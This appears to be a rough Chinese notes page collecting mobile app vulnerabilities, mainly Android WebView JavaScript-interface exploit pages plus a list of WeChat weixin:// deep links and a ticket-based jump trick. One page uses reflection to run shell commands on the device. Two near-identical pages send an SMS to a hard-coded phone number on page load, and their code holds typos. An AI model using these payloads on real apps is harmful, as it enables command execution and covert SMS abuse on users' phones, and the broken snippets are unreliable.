zl程序教程

您现在的位置是:首页 >  移动开发

当前栏目

移动app漏洞收集(待整理)

App漏洞 移动 整理 收集
2023-06-13 09:13:29 时间

http://www.anquan.us/static/bugs/wooyun-2015-0114241.html pageid:

    <html>
       <body>
          <script>
             function execute(cmdArgs)
             {
                 return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
             }
             var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
             document.write(getContents(res.getInputStream()));
           </script>
       </body>
    </html>

这个是执行命令的poc

    <html>
    <head>
    <title>Test send</title>
    <script type="text/javascript">
    function execute() {
        var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null);
        sendsms.sendTextMessage("13722555165",null,"get",null,null);
    }
    </script>
    </head>
    <body onload="execute()">
    <input type="button" onclick="="execute" value="test"/>
    </body>
    </html>

    <html>
    <head>
    <title>Test sendsms</title>
    <script type="text/javascript">
    function execute() {
        var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null);
        sendsms.sendTextMessage("13722555165",null,"get",null,null);
    }
    </script>
    </head>
    <body onload="execute()">
    <input type="button" onclick="="execute" value="test"/>
    </body>
    </html>

https://www.jianshu.com/p/2c6c55b48238

出售API的 http://vip.wxticket.com/

weixin的协议 weixin://看了官方的文档之后我发现了微信支持如下操作

weixin://dl/general
weixin://dl/favorites 收藏
weixin://dl/scan 扫一扫
weixin://dl/feedback 反馈
weixin://dl/moments 朋友圈
weixin://dl/settings 设置
weixin://dl/notifications 消息通知设置
weixin://dl/chat 聊天设置
weixin://dl/general 通用设置
weixin://dl/officialaccounts 公众号
weixin://dl/games 游戏
weixin://dl/help 帮助
weixin://dl/feedback 反馈
weixin://dl/profile 个人信息
weixin://dl/features 功能插件

经过一番查找我找到了能够跳转的方法 weixin://dl/business/?ticket=xxxxxxxxxxxxxxxxx 打开小xx网站的时候突然弹出的微信是什么鬼

果然是我想象得那样 weixin://dl/business/?ticket=taa597ccdcdf00ecb865d9e04904bbff4 我们手机打开一下我得测试网页 demo 成功打开微信并跳转~~~~